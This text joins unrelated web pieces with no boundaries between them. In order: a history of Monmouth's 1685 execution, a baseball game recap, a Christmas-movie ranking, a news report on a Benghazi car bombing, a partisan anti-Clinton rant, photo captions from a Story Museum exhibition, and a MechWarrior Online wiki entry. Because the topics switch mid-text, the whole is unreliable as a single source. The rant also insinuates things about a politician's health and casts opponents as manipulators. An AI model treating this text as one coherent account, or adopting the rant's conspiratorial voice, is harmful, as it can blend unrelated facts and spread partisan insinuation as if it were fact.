Parliament passed an Act of Attainder. Monmouth wrote pleadingly to Charles II's queen, the kind hearted Catherine of Braganza and she generously tried to intercede with her brother-in-law for her stepson's life, but James was adamant and refused to be swayed. He was executed by Jack Ketch on 15 July 1685, on Tower Hill. Shortly beforehand, Bishops Turner of Ely and Ken of Bath and Wells visited the condemned man to prepare him for eternity, but withheld the eucharist as he refused to acknowledge that either his rebellion or his relationship with Lady Wentworth had been sinful.
Monmouth's execution was hideously bungled. As he mounted the scaffold at Tower Hill, he handed a gold toothpick-case to one of the witnesses, asking him to give it back to Lady Henrietta, he tipped the headsman with the words, "Here are six guineas for you and do not hack me as you did my Lord Russell. I have heard you struck him four or five times; If you strike me twice, I cannot promise you not to stir." Unfortunately, the executioner took five strokes at his neck and even then the head was not completely severed and had to be finished off with a knife:-
"The hangman addressed himself to his office. But he had been disconcerted by what the Duke had said. The first blow inflicted only a slight wound. The Duke struggled, rose from the block, and looked reproachfully at the executioner. The head sank down once more. The stroke was repeated again and again; but still the neck was not severed, and the body continued to move. Yells of rage and horror rose from the crowd. Ketch flung down the axe with a curse. 'I cannot do it,' he said; 'my heart fails me.' 'Take up the axe, man,' cried the sheriff. 'Fling him over the rails,' roared the mob. At length the axe was taken up. Two more blows extinguished the last remains of life; but a knife was used to separate the head from the shoulders. The crowd was wrought up to such an ecstasy of rage that the executioner was in danger of being torn in pieces, and was conveyed away under a strong guard.
Monmouth was interred, along with many other victims of execution, in the Chapel of St. Peter ad Vincula in the Tower of London.
His dukedom of Monmouth was forfeited, but the subsidiary titles of the dukedom (Earl of Doncaster and Baron Scott of Tindale) were restored to his grandson, Francis Scott, 2nd Duke of Buccleuch (1695-1751), on 23 March 1743.
Klein (1-0) gave up three hits while fanning six over his 5.0 IP. LHP James Russell (1.0 IP, H, K), RHP Colton Murray (2.0 IP, BB, 2 K) and RHP Michael Mariot (1.0 IP, 2 BB) combined to fire the final four innings for the Pigs.
In the top of the second, a pair of walks issued by Indianapolis starter Tyler Glasnow put two men on before both scored on Logan Moore's two-run double to give the IronPigs a 2-0 lead.
Taylor Featherston drew a leadoff walk in the top of the third, advanced to second on a sac bunt, stole third and later scored on Darin Ruf's (2-3, RBI, R) RBI single to extend the lead for the visitors to 3-0.
Glasnow (7-3) allowed the three runs on two hits while walking three and fanning nine in six innings of work.
Lehigh Valley opened up a 4-0 lead with a run in the seventh as Moore drew a one-out walk, advanced to third on a double from David Lough and scored on Cedric Hunter's RBI groundout.
#1-Love Actually
Director: Richard Curtis
This British ensemble rom-com/Christmas flick is divine. It’s one of my favorite movies to watch when I’m down in the dumps and it’s well beyond being a regular romantic comedy. I think what is so impressive about Love Actually is how it manages to blend so many different story lines together so well. It never really comes out as a flat out “holiday” movie until the excellent finale in which a lot of the plots come together/get resolved. This is a nice touch as the movie doesn’t have a corny Christmas message so much as it uses the season to help inform the multiple story lines. My personal favorite stories are Hugh Grant as the Prime Minister in love with a member of his staff, Colin Firth as a heartbroken writer (this one is me romanticizing my own life a bit) and Liam Neeson trying to raise his dead wife’s son while dealing with his own loneliness. Neeson gives one of his best performances, it’s both touching and funny, and the scene in which Firth and his housekeeper say the same thing to each other in different languages melts my sentimental heart every time. Bill Nighy’s hilarious aging rocker is a great character who adds tons of humor to the movie and the list of great actors continue with legends like Alan Rickman and Emma Thompson. If you haven’t seen this movie you are missing out. It will turn a cynic into goo and a sentimental person into a burned up heap of weepy emotional ashes.
PS- This movie has inspired HORRIBLE rip offs like Valentine’s Day and New Year’s Eve. If your girlfriend tries to force you to see either of these you are considering checking either of these movies out just don’t. Instead watch Love Actually. Just trust me.
#2- Elf
Director: John Favreau
Believe it or not I used to hate this movie. Don’t ask me why, it never made sense. I’ve always loved Will Ferrell and this is one of his funnier movies. The whole tone is so whimsical and silly and it really captures the idea of the season by laying it on comically thick through Buddy (Ferrell) but giving us the cynical view through his father Walter (James Caan). It all works so well yet I hated it. I’ve never figured out why but I know now that I was insane. Zooey Deschanel plays Buddy’s jaded love interest in a way which totally sets her apart from her current type casting as over the top quirky and I really like that. It reminds me she has more range than is currently on display. She also shows off her gorgeous voice a few times including a great rendition of “Baby It’s Cold Outside.” Buddy’s journey from north pole elf to normal(ish…but not really) human is hilarious from start to finish and it’s guaranteed to get you in the Christmas spirit.
#3- A Christmas Story
Director: Bob Clark
This movie came out in 1983. I want you to think about that for a minute. Isn’t it impossible to imagine a time before A Christmas Story was an absolute staple of every single Christmas Eve? The story of Ralphie Parker’s attempts to get a Red Ryder BB gun for Christmas is so ingrained in the fabric of the season that the idea that my parents went through their entire childhood’s without it existing blows my mind. This is probably the most pure “Christmas movie” that I can think of. It uses the nostalgia that is associated with the holiday, and childhood, to its advantage by setting the film in the 1940’s (some research I did places the setting somewhere between 1936-1946 with 1940 having the most clues in its favor). The old school feel really lends to a feeling of what Christmas is “supposed” to be like and it feels realistic because it’s set in a past which we layer over with our own romanticized perceptions. The movie manages to capture the magic of Christmas through the eyes of a child (the Christmas morning scene is pretty damn accurate) while showing the chaos that inevitably comes along with it. I don’t even really know what else to say. This one of those movies which embodies an entire time of year. There are couple more movies coming up on this list which have that same effect but there are only a handful in existence and A Christmas Story is one of them. That’s one of the highest compliments I can pay.
#4- The Muppet Christmas Carol
Director: Brian Henson
Michael Caine is Ebenezer Scrooge, Kermit the Frog is Bob Cratchit, Gonzo is Charles Dickens and Stadler and Waldorf are the Marley brothers (which is incorrect since there is only ONE Marley in the book but The Muppets can get away with this stuff in my book). Isn’t that list enough to make this one of the best Christmas movies ever? Shouldn’t I just stop right there? Well I won’t but I’ve already made my entire case.
This isn’t the most faithful version of Dickens’ classic Christmas story (that would be the grim Zemeckis/Jim Carrey version) but it’s certainly the most fun. It actually follows the source material pretty closely but it mixes in Muppet humor and great musical numbers. “Marley and Marley” is my particular favorite and always cracks me up. It’s the Muppets telling one of the best holiday stories ever. If that doesn’t sound appealing to you, then we’d never be friends.
#5- It’s A Wonderful Life
Director: Frank Capra
Remember when I said A Christmas Story embodies the entire time of year? Well this movie does that times a thousand. Frank Capra’s 1946 classic, starring Jimmy Stewart and his amazing voice, is probably the definitive Christmas movie. A Christmas Story is quickly catching up but so many generations have grown up watching Wonderful Life that the pure Christmas-ness of it is etched in our collective consciousness. The key to a holiday movie really taking hold is how it plays with children, combined with how well it holds up as you age. The best Christmas movies engross you as a child by defining what Christmas “means” and then warm your heart as an adult by bringing back good memories and actually being decent films on their own. It’s a Wonderful Life does that easily with the story George Bailey (Stewart) and his tour through what life would be like if he’d never been born. “I wanna live, Clarence! I wanna live!” is going to but something that runs through my head every time I see Christmas lights for the rest of my life. This movie is going to be around for friggen’ ever so if you have somehow never seen it, get on it. You’re missing out.
#6- Home Alone
Director: Chris Columbus
I sometimes wonder what it would be like to be Macauly Culkin. It’s pretty much universally agreed upon that he went from cute to intolerably awkward and that’s why his career ended (minus a decent turn in the movie Saved). There’s no way he‘s not aware of this and that has got to be awkward. For years and years people will note how cute he is in Home Alone while he continues to be a weird looking adult in real life.
Well regardless this movie rocks and is a childhood favorite. My list was originally a top 5 and I then realized I hadn’t included Home Alone so I copped out and just added it. This movies combination of over the top slapstick and touching holiday moments makes it one of my favorite Christmas movies to watch regardless of the time of year. This is an example of a movie which uses Christmas as more of a setting than a focus and it really lets the insane slapstick rule the roost. We all know that the The Wet Bandits would have died numerous times during their pursuit of Kevin (Culkin) but that just makes it all the better. All that fails to mention that there’s a sequel which is equally fantastic. That’s incredibly rare and for a holiday movie it’s unheard of. Oh and then there’s this. Keep the change, you filthy animal.
Honorable Mention: Die Hard
While I know I’ll catch some crap for saying this, Die Hard isn’t a Christmas movie. It does take place during Christmas but it doesn’t even slightly figure into the plot or motivations of the characters (like in Love Actually). That being said it kicks ass and takes place during Christmas so I had to at least give it a shout out.
Thanks for reading, Happy Holidays and Happy New Years! See you next time.
State news quotes official as saying 13-year-old boy killed
The blast took place near a hospital in eastern Libya
Officials don't know who or what was targeted
Children were among the victims Monday when a car bomb blew up near a hospital in the Libyan city of Benghazi, a security official told state TV.
"Children with shredded bodies and wounds to the head," Benghazi Security Directorate spokesman Tareq Khraz told state TV Libya Al Ahrar. "I cannot even describe the scene to you, but believe me, it was horrific."
The car bomb detonated near Al Jalaa hospital but not immediately in front of the building. Officials don't know at this point who or what was targeted.
The blast destroyed eight cars and caused damage to nearby buildings, Khraz said.
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Khraz said that at least 13 people were killed and more than 40 wounded. The hospital director, speaking on Ahrar TV, had a lower toll: three dead and 15 wounded.
Later Monday, state news agency LANA quoted Abdullah al-Fitouri, a health ministry official in eastern Libya, as saying that four people were killed, but three have not been identified because of the "gruesomeness of the incident." The fourth body was identified, LANA reported, as a 13-year-old boy.
Libya's parliament condemned the bombings and suspended its Tuesday session to allow members to head to Benghazi to take part in the funerals.
Prime Minister Ali Zeidan, standing alongside General National Congress President Mohammed al-Magariaf and other members, said that Monday's explosion comes after a string of similar acts but that security forces have not been able to take strict measures against such attacks.
According to a CNN journalist there, the bombing seems to have shaken Libyans fiercely because of its civilian victims.
Over the past 18 months, Benghazi, the birthplace of Libya's revolution that toppled longtime leader Moammar Gadhafi, has been the scene of attacks that mainly targeted security forces, Western diplomats and international organizations.
Gunmen attacked the U.S. diplomatic mission in the city on September 11, killing the U.S. ambassador to Libya and three other Americans. The Obama administration's handling of that incident has come under much criticism and scrutiny.
Most of the attacks in Benghazi have been blamed on extremist Islamist groups that have established a foothold in eastern Libya, according to Western intelligence officials who have spoken to CNN.
More than two years after the start of the revolution, the country is awash in weapons and hundreds of militias. Libyans frustrated with the security situation have called on the government to bolster security forces.
The government, in power since November, has been taking steps to curb militia groups and build a police and army force.
Libyan officials, particularly Zeidan, have said that securing and stabilizing the country remains a top challenge and a priority. But the process of doing that will take time and began only a few months ago, Zeidan said.
During the past two weeks, bombs have targeted a number of police stations in Benghazi. There were no casualties in these primarily overnight attacks.
Those attacks followed a few weeks of relative calm in a city that has been plagued by a fragile peace since the fall of Gadhafi, according to residents.
Benghazi residents said they felt that security had been improving before the most recent uptick in violence.
In light of the car bombing Monday, the Libyan military ordered army and pro-military militias to help Interior Ministry forces preserve security, the military command told state news.
And the U.N. Assistance Mission in Libya condemned the violence.
“She’s not coming over to your house! You don’t have to like her,” I read my former soul sister say in this infernal Politico article to the sound of my heart ripping in half.
Like that’s the problem. I don’t support Hillary because she’s not the sort of person I’d want to have over for tea. It’s got nothing to do with her corporate cronyism, her consistently disastrous warmongering, the way she’s dragging America kicking and screaming into a military confrontation with a nuclear superpower, or the fact that her election will mark the official time of death of democracy in the United States. Nope! It’s that she’s not the sort of person I’d want to have over and watch reruns of Friends with on the couch.
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Listen Oprah, you horrible, cruel, beautiful goddess of a woman, I would gleefully live with Hillary Clinton if it would stop her from becoming president. I would happily live as her roommate until whatever weird diseases she’ll inevitably succumb to get the better of her, if that would save my kids from having to grow up in a world where that woman is the Commander-in-Chief of the greatest military force on the planet. That was a nasty, manipulative lie you told your adoring fans with your silky smooth voice, and I’ll never forgive you for it.
Another good woman down.
Crap.
I’m getting so sick of this. Treating people who won’t support that evil woman like we’re the problem, when we’re the only ones with our eyes still open. And I’m not just talking about the people who’ve done their research and can conceptually articulate what a force of destruction she is, either. Even the everyday Americans who don’t have time for political obsession, but who are still in-tune enough with their primal intuition to know a predator when they see one, are beacons of light in the darkness, because that intuition is immune to the toxic manipulations and mind viruses the neoliberal think tank has been frantically trying to stuff into their heads. At least, as long as they trust that intuition more than they trust the people trying to convince them to abandon it.
But that’s precisely what Oprah was trying to do. She was addressing that “Ewww” feeling in our belly that she darn well knows is there because she obviously has it too, and trying to trick us into laughing it off and ignoring it.
“Oh, your animal body goes into fright mode whenever you hear her voice? That ain’t no thing.” After years and years of getting us to dig into our intuition and trust our guts, Oprah is now saying we should press “override” and vote for the woman that everything in our being screams “NO!” at.
That’s what all of those awful people are trying to do. The talking heads on the news, the fake comedians on Comedy Central and HBO, all these faux progressives acting like they’re somehow being rebellious and outspoken when all they’re doing is trying to gaslight Americans into abandoning their inner vision to prop up the Walmart/welfare system for the benefit of billionaires.
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People who refuse to be bullied and manipulated into falling in line are not the problem, they’re the solution. The clear-eyed rebels are the only ones left with any hope of dragging us out of this mess, because everyone else is marching headlong into a more pervasively-bolstered corporate kleptocracy and a probable World War III. Despite all the deceptions being sown by Hillary’s goons in the corporate media, we’re the ones who’ve managed to plant our feet in the surging tsunami of deceit and begin collaborating with the basement dwellers, the Bernie-or-Busters, the visionaries, the mystics, the healers, the true artists, the Greens, the whistleblowers, the transparency advocates, and yes, even the “deplorable” victims of the Walmart economy on the political right, to bring the light of truth to the forefront of social consciousness.
We’re not going to stop, and we’re not going to fall in line. And in the end, we’re going to win. We’ve reached critical mass now, and the age-old power structures have been forced, in desperation, to extend themselves way too far into the light in order to keep things under control. What we’ve seen cannot be unseen, and we’re going to keep shining brighter and brighter and dragging all the structures of manipulation and control into the light to break the spell the rest of society has fallen under.
In the end, the machinations of oppression will be shrugged off like a heavy coat on a warm day. We won’t expect a thank you for our efforts, but hey. You’re welcome in advance.
Photographer Cambridge Jones has collaborated with The Story Museum for its latest exhibition which celebrates childhood story heroes and sees well-known authors dress up as their favourite literary characters.
When the The Story Museum approached Cambridge Jones to take pictures for its 26 Characters exhibition, the photographer wanted images that visitors would actually stop and look at.
"Just taking a bunch of authors isn't going to make people interested - and authors aren't necessarily outgoing people," he says. "So I thought what if we gave them permission to have fun by asking them who their favourite character from childhood was and let their imagination run free."
With the help of costumes from the Royal Shakespeare Company and National Theatre, the resulting exhibit features 26 writers portraying a collection of rogues, rascals, witches and wild things.
Each one features in their own character-themed interactive space, accompanied with audio of the authors reading extracts from their books and interviewed about their chosen character.
Here is a selection of the photographs, together with Jones's own comments.
Philip Pullman as Long John Silver from Treasure Island
Image copyright Cambridge Jones
One of the most exciting aspects of working on this project for The Story Museum has been the transformative nature of the process. Without fail, we take erudite and grown-up writers and turn them into young children again.
In Philip's case this was even more pronounced than normal. He had not been well and yet valiantly came to the shoot anyway. It was clearly an effort for him, even to get up the many flights of stairs. Yet after a little make-up and a costume, we had one of the most agile, loud and spirited Long John Silvers you are ever likely to meet.
Neil Gaiman as Badger from Wind in The Willows
Image copyright Cambridge Jones
It never struck me as one of the best ideas - Neil Gaiman as Badger. A medieval swashbuckling hero maybe, or as a dark overlord from another time zone, perhaps. Or even the lead singer in a very cool band....but Badger from Wind In The Willows?!
And then an odd thing happened: he just started to become Badger - literally in front of my eyes. With wonderfully simple make-up and exquisite robes, he started to move like Badger, he started to smile like Badger, he even started to talk as I imagine Badger talks. When we finally went on set and gave him his chair and book, he just WAS Badger.
Francesca Simon and Stephen Butler as The Queen of Hearts and The Mad Hatter from Alice in Wonderland
Image copyright Cambridge Jones
I drove Francesca and Stephen from London to Oxford for the shoot, which was a good thing because by the time we got there, there wasn't much we didn't know about each other and even less we were not prepared to do in front of each other - which, when you are planning to shoot The Queen of Hearts and The Mad Hatter, is incredibly helpful.
They were impeccable, inspired, fun, spontaneous and, well, just great. Stephen was just about to hand in his latest book to his publisher and had been on stage until late the night before, and Francesca - well, I was just so struck by her beauty when she lifted her hair and put on the robes... stunning.
Anthony Horowitz as Jekyll and Hyde
Image copyright Cambridge Jones
There are people who instinctively value and appreciate photography and there are those that regard it as a necessary evil. I would hazard a guess that Anthony is in the latter camp. If this is true, then we compounded the ordeal by providing a costume that was the wrong size.
Somehow, with creative zeal and no small effort on Anthony's part, we managed, nevertheless, to produce one of my favourite shoots in the series. I drove Anthony to the station, and he seemed a touch bemused that someone could earn a living from photography, but all that melted into insignificance once we realised we were both learning Greek and had a profound love of all things Hellas!
Benjamin Zephaniah as Anansi the spider
Image copyright Cambridge Jones
I have worked with Benjamin several times in my career. Once when I was a student and we wanted him on the cover of our student magazine Isis (he was very cool and living with his dub band in Handsworth) with all the requisite Rasta accoutrements. Then again in East London when he was suffering greatly from racist attacks and couldn't even reveal his address to anyone for fear of such an attack.
I arrived at the door of his university office and see Professor Benjamin Zephaniah written in smart letters on the door. "You've come up in the world" I said teasingly, but was greeted with a slightly worried: "Have I… I hope not". This is a man who was put amongst us to enlighten and help others - not to rise above them. My flattery was wasted if not confusing. And what a spider he makes!
Malorie Blackman as the Wicked Witch of the West from The Wizard of Oz
Image copyright Cambridge Jones
One of the many fascinating components of this lovely job has been the response of my own children to the different authors I intermittently disappear off to create portraits with.
Sometimes they appear unmoved by some of the greatest names in modern literature. Sometimes they work out days later that it was the author of one of their favourite books ("Daddy you could have told me you were photographing them!"). And sometimes it's Malorie Blackman ("OH MY GOD - YOU ARE PHOTOGRAPHING MALORIE BLACKMAN - CAN I COME!"). They could not - which is a shame because we had such fun!
Michael Morpurgo as Magwitch from Great Expectations
Image copyright Cambridge Jones
Like several of our (male) authors, Michael was not an avid reader when young. He was explaining to me he found books quite hard work to get through and they lacked the appeal of playing in the outdoors with other kids.
This seems interesting to me on two levels: firstly, it is of course no accident that The Story Museum has encased its mission in stories rather than books, taking the story out of the realm of "classroom" and "homework" and putting it firmly in the realm of imagination and fun.
Secondly that one of the most successful story tellers of our age is as empowered and fuelled by his imagination from childhood playing as he is from a scholastic digestion of letters and punctuation.
Terry Jones as Rupert the Bear
Image copyright Cambridge Jones
Terry has a house near where I grew up in Wales, but he also lives in a secret location in London town which is both central and in the countryside simultaneously. I'd been there before but forgotten how perfect it would be for Rupert the Bear - a character Terry loves deeply and always has.
We started with a studio set-up and it quickly became clear that Terry had somehow imbibed the movement of Rupert the Bear perfectly. He could move and take up stances exactly as Rupert does in all those annuals of yesteryear. So we quickly abandoned the studio and went out into the London countryside to capture Rupert behind trees, bouncing through the grass and generally just Ruperting about.
Terry Pratchett as Just William
Image copyright Cambridge Jones
Here's the thing: Terry is not a writer - he doesn't write anymore. His condition means he effectively speaks the word into text with [his assistant] Rob's help. In a funny way, I think that has freed his imagination even more and all around him are details and objects from other worlds - maps of unknown kingdoms or books that light up.
Terry was on great form that day and had vivid memories of childhood and the teacher who said he would never become anything….! We then all went to the local pub for a fine lunch and chat. Fond memories of fond memories.
Holly Smale as the White Witch from The Chronicles of Narnia
Image copyright Cambridge Jones
It was Holly's birthday when we met and she had very kindly agreed to do the shoot before going on to celebrate later in the day.
That is all I can tell you! She cast a spell on me from the moment that she put on her White Queen costume that left me powerless and speechless, such was her power and beauty. It's a miracle we got any photos out of the session at all. I was truly mesmerised.
See the article's section on Canonicity for details. Although it is an official BattleTech product, the subject of this article does not meet the current criteria for Canon for the BattleTech universe.See the article's section onfor details.
MechWarrior Online Product information Type Computer game Development Piranha Games Publication information Publisher Piranha Games First published 2012 MSRP Free to Play Content Series MechWarrior (video games)
MechWarrior Online (MWO) is a BattleTech-themed online multiplayer simulation game by Piranha Games and Smith & Tinker for Microsoft Windows. MWO went into publicly accessible Open Beta on 29th of October 2012 and was officially released on September 17th, 2013.
It was originally intended as a reboot of the MechWarrior series of computer games and announced as "MechWarrior" (frequently referred to as "MechWarrior 5" by fans, as the series had four previous installments), with a single-player storyline. That concept fell through, and development moved to an online multiplayer game concept instead.
Canonicity [ edit ]
MWO, as such, does not meet the current criteria for canon for the BattleTech universe. As an official product with a valid license, it can be regarded as apocryphal. In 2011, Herbert A. Beas II (then BattleTech Line Developer), confirmed in an official chat that MWO would not be canonical per se[1], i.e. it would not be in a position to add events, characters or other content to the canon of the BattleTech universe.
However, in 2016, then-Line Developer Randall N. Bills overruled this to an extent when he stated[2] that the fiction relating to the MWO Hero BattleMechs was fully canonical for BattleTech. This technically only applies to the text and not to the visual appearance nor game stats.
Development [ edit ]
Jordan Weisman, co-creator of BattleTech and co-founder of FASA, is also the founder of the software firm Smith & Tinker. He negotiated the BattleTech/MechWarrior license back from Microsoft, which had left the property sit idle for several years. Russ Bullock from Piranha Games was a long-time fan of the series and wanted to start a joint collaboration with Weisman. He contacted Weisman to develop a prototype project that would become the new iteration in the MechWarrior series of video games. Production of the new MechWarrior game first began in October 2008, when the two studios started discussing the project on pen and paper. After coming up with a presentation for a prototype scenario, both studios began ramping up a full-time team to work on the new game in March 2009.
Deshler Preview [ edit ]
A trailer with supposed in-game footage was released on 9 July, 2009, depicting a House Davion Warhammer fighting House Kurita invaders on Deshler in 3015. The words "in-game footage", clearly seen in the trailer, has caused confusion among fans. At the time it was created, the intent was to attract a publisher. So PGI used the UE3 game engine to demonstrate what a new MechWarrior game might look like. UE3 was stated as the logical engine of choice since the objective was to create a game for PC and Xbox 360. It was later announced that CryEngine3 would be used for MWO, making the trailer's in-game footage no longer applicable.
A second trailer was released based on the CryEngine3 game engine.
The Deshler storyline/campaign setting was subsequently abandoned in favor of an open online multiplayer game.
MWO Setting [ edit ]
MWO casts the player as either an Inner Sphere mercenary fighting on behalf of any of the Great Houses available in the time period (the Draconis Combine, Free Worlds League, Capellan Confederation, Free Rasalhague Republic as well as both halves of the Federated Commonwealth - the Federated Suns and Lyran Commonwealth) or as a member of the invading Clans (Clan Wolf, Clan Jade Falcon, Clan Ghost Bear, Clan Smoke Jaguar, Clan Steel Viper and Clan Nova Cat) to either to secure or defend planets for their respective faction/employer. Players who accept contracts and align with a faction in Community Warfare earn Loyalty Points which open up various reward tiers for their continued loyalty. At present this takes the form of cockpit items and Mech Bays as well as steadily increasing volume of C-Bills, GXP and MC, but in the past PGI mentioned the possibility of unique camouflage schemes, discounts for weapons and 'Mechs preferred by specific factions, and even factional 'Mech variants and exclusive designs at the highest levels as being considered. Earlier discussions of Community Warfare also painted a plan to have detailed logistical system, with holding or capturing various worlds giving LP bonuses and discounts to material. Players drop solo, but can band together into units to fight together. Another feature supposedly considered for future introduction but as yet undeveloped was the use of unit coffers, a communal unit bank account, to purchase superior defenses or other aids to assist units in battle.
Initially, one of the more notable concepts of the game was that it is set in a 1:1 timeline with BattleTech universe in 1035 years, meaning the current real-world date equates to same day and month 1035 years later in BattleTech, placing the players right on the opening shots of the 3050 Clan Invasion as of 2015. The game forums previously had period news articles written by Cataylst Game Labs providing notable historical events supporting the passage of time to set the scene and mood of the Inner Sphere. This detail was abandoned after development of Community Warfare lagged far behind the fictional timeline's pace, with the timeline reset back to 3049 a number of times, with the available technology and 'Mechs had remained at the early Clan Invasion era period with anything introduced after 3052 excluded. As of July 2017 PGI progressed the game's timeframe to 3057 and the era of Operation Bulldog, while at the same time moving the available technology to the FedCom Civil War era of 3067 with 'Mechs, weapons and equipment from this time period to be made available to players.
Gameplay [ edit ]
MechWarrior Online currently offers three combat modes, with Quick Play and Faction Play featuring teams of twelve players facing a similarly sized opposing team, and Solaris 7 having 1v1 and 2v2 dueling matches. At the conclusion of a match in and mode, the player's individual performance and contribution their team is tallied, earning C-Bills and experience points for both inflicting damage and defeating opponents, as well for assists, spotting and base captures.
Representing the players in-game character's familiarity with their 'Mechs, MWO's experience system is broken into two forms, 'Mech specific Experience (MXP, locked to variant on which it was earned) and General Experience (GXP, able to be spent on any 'Mech), both can be used to unlock and/or enable skill nodes on a 'Mech's skill tree. Replacing a more linear placeholder system, the overall skill tree features a total of 231 nodes divided between seven individual trees for Firepower, Survival, Mobility, Jump Jets, Operations, Sensors and Auxiliary (consumables), each node offering benefits such as increased maximum heat, more responsive jump jets, better mobility, faster weapon cooldown, and reduced critical hit chance for example. 'Mechs are limited to a maximum of 91 nodes active at any one time, players having to decide where to specialize, which results in 'Mechs even with the identical weapon and equipment loadouts responding and playing differently. Of the two skill point types, MXP is earned faster than GXP, players can focus on spending the time to earn MXP to unlock skill nodes or use GXP. Players can trade MXP for GXP at 1 MC per 25 XP converted.
As with many Free2Play games, MWO's economy is broken down into two currencies, C-Bills which can be earned in game and 'Mech Credit (MC) which can only be purchased via real world money. While most items can be purchased with C-Bills, they are considerably more expensive in comparison to MC prices, and certain items such as premium time, 'Mech bays, Cockpit items and Hero 'Mechs can only be purchased with MC.
Quick Play [ edit ]
The standard and default play method for much of MWO's existence, featuring one training and six active game modes available to be played over one of thirteen different maps:
Skirmish - Straight up 12 vs 12 deathmatch, the match ends when all opposing 'Mechs are destroyed leaving one team standing. If this condition is not met upon game timer expiration, the team with the most 'Mechs remaining wins.
Assault - 12 vs 12 base capture, each team features a small field base encircled by small laser fence boundary which the enemy must stand within to capture it. The match continues until one side succeeds in running down their opponent's base capture bar or all opposing 'Mechs are destroyed and thus unable to prevent full capture. Unlike Conquest, the Assault bases themselves do not regenerate/uncapture if left unattended, though capture attempts can be blocked by either a friendly 'Mech or enemy 'Mech being struck by weapon fire within the capture boundary.
Conquest - 12 vs 12 resource capture, the match has 5 capture points each of which provides a steadily increasing volume of resource points when held by each team. Unlike Assault, each Conquest point can be reverted to neutral and recaptured if left unattended. The match continues until one side either reaches or is assured of reaching the 750 point capture limit, even if one team has been totally destroyed they can still win if the opposing team cannot prevent them reaching 750 points first.
Domination - 12 vs 12 "King of the Hill" matches, victory is achieved by holding a key area around the center of the map. Each team starts with a one minute timer and needs to be alone and not under fire in the circular domination area to count down. Outside the domination boundary each team has two generators which if destroyed by their opponents each add fifteen seconds to their opponent's timer. Victory is achieved when a team's timer reaches zero, or the lowest timer value at match expiration, or upon total destruction of one team.
Escort - 12 vs 12 asymmetrical attack/defense mode, attackers must prevent a heavily armored AI controlled VIP Atlas reaching the DropShip extraction point, following a number of randomly selected paths. The defending side receives assistance from turrets and ECM equipped spotting towers, though the attackers can capture and use the ECM towers against the defenders. Victory is entirely dependant on the condition of the VIP, the attacking side wins as soon as the VIP is destroyed no matter how many defenders remain, where even if all the defending side have been destroyed they can still win if the attackers can't destroy the VIP in time.
Incursion - 12 vs 12 base defense matches. Each team in Incursion has a base made up four mobile field bases defended by destructible walls and turrets which they must protect while destroying the opposing team's. To avoid excessive base camping, each team's base also features three defense towers offering additional benefits (DropShip firing at opposing 'Mechs at their base, whole map radar sweeps and radar jamming) which must be powered by fuel cells generated from three points in the center of the map, each fuel cell powering a single tower for two minutes. Victory in Incursion is awarded to the first team that either destroys all seven enemy base elements or to which team inflicted the most damage to the opposing team's base when the match timer expires. Like Conquest and Escort, its possible for a team with all 'Mechs destroyed to win if the opposing team cannot inflict more damage on their opponent's base before the match ends.
Testing Grounds - A single player training mode which allows players to learn and test piloting skills, weapons targeting, loadout charges and map layouts. Eight non-interactive enemy 'Mechs are randomly placed on the map to provide targets, no C-Bill or XP rewards are provided for defeating them.
Quick play is divided into separate queues for grouped and non-grouped players, with the game's matchmaker using a form of ELO to try and ensure players are matched to other players with a similar win/loss ratio to try to create matches of equally ranked players. Players may form groups of any size, from two up to twelve. By default the standard play matchmaker attempts to ensure each side conforms to a weight ratio of 3/3/3/3 (three 'Mechs of the same weight class) though will breach this restriction to avoid excessive wait times, or when players drop in premade groups. Players can select which game mode and which map they wish to play, the team leader's choice representing that of other players in their combined group.
Quickplay also offers the option of private matches for any of the non-training game modes. While free players can create private invite-only matches that mirror the standard game modes, players with active premium time can create lobbies with custom options such as restricted map selection, specific tonnage limitations, non-standard match time limits and locked view modes. If both team commanders in private matches have active premium time, they may also additional to launch with team sizes of less than 12, right down to pure 1 vs 1. Such 1 vs 1 matches also have access to a unique map - the Steiner Colosseum of Solaris VII. To avoid abuse, private matches do not award any C-bills or experience.
Faction Play - Community Warfare [ edit ]
The long awaited Faction Play, previously called Community Warfare, currently offers only one game mode played on two maps. Along with earning C-Bills and experience, players in Community Warfare also earn Loyalty Points, opening up increasing rewards if they remain loyal and contracted to the same faction.
Invasion - 12 vs 12 attack and defense matches. Attackers must breach a heavily defended enemy base via one of two to three gates, opening the gates to allow non-jump jet equipped 'Mechs to pass by destroying large generators behind them, and then destroying three smaller generators before they can cripple the module powering a naval gauss cannon preventing the arrival of larger invasion force. Defenders are assisted by a large number of turrets scattered around the base. Unlike standard play where once players are killed they are dead until match end, Invasion features a drop deck where players can take four 'Mechs of any weight as long as their total combined weight is greater than 160 tons and less than 240 tons. Additionally, each time the attacking or defending player enters the field at either match start or "respawning", they are dropped by a Leopard-class DropShip after small arrival delay, the DropShips firing upon nearby enemies as they arrive offload, aiding defenders as the attacker push for the final assault or warding off attempted spawn camping of the attackers landing zone.
Unlike standard play which is random and unconnected matches, Community Warfare takes place on an interactive map of the Inner Sphere with players selecting a contract to either attack or defend various key worlds along each faction's borders. Some worlds are only available to certain players or units assigned to certain factions. If an attacking faction is able to secure a large enough volume of wins, ownership of that respective world transfers to them and the map's border changes in response, opening up or restricting which planets will become available for factions to attack or defend in future. Unlike standard play, Community Warfare features no ELO matching of any kind.
Individual units or clans within a faction may earn the honor of the planet bearing their tag if that unit scores the most points when attacking or defending the planet. One point is scored for every one member of a unit that participates in a victory battle on the planet. For example, if the A.C.E.S. and the Warpigs Mercenary Company are both attacking the same planet, and the A.C.E.S. are running two 12 man teams while the Warpigs are only running one 12 man team, and at least 53% of the points for the planet are taken before the next cease fire, the A.C.E.S. will win the planet since they had more people attacking it. The planet will now show the A.C.E.S. name next to it on the map as well as in the planet details. The A.C.E.S. will also have their name in the history if the planet should be taken by another unit in the future.
Solaris 7 [ edit ]
Released on 17 April 2018, the Solaris 7 game mode replicates the dueling of the Solaris Games rather than the team based play of MechWarrior Online's other game modes, with players dropping in pure 1v1 or 2v2 "group" matches in one of the five classic Open Class Solaris arenas - Boreal Reach, The Jungle, Ishiyama, The Factory and Steiner Stadium. Where the tabletop Solaris is divided into five classes based upon weight, MWO's version has every variant of every 'Mech divided instead into one of seven divisions based on it's loadouts, speed and viability on the battlefield with multiple weight classes within each division. With a competitive Solaris season running for three months, each division has two separate leaderboards for both match types with players moving up or down the rankings in response to their performance again opponents higher and lower in the standings, with a global leaderboard for each mode using an average of a player's ranking across all divisions. Once a season ends, the highest ranking players are rewarded for their achievements and the leader board is preserved for prosperity before being reset for the next season. The top five players in each division and the top twenty in the global leadeboards receive unique cockpit items.
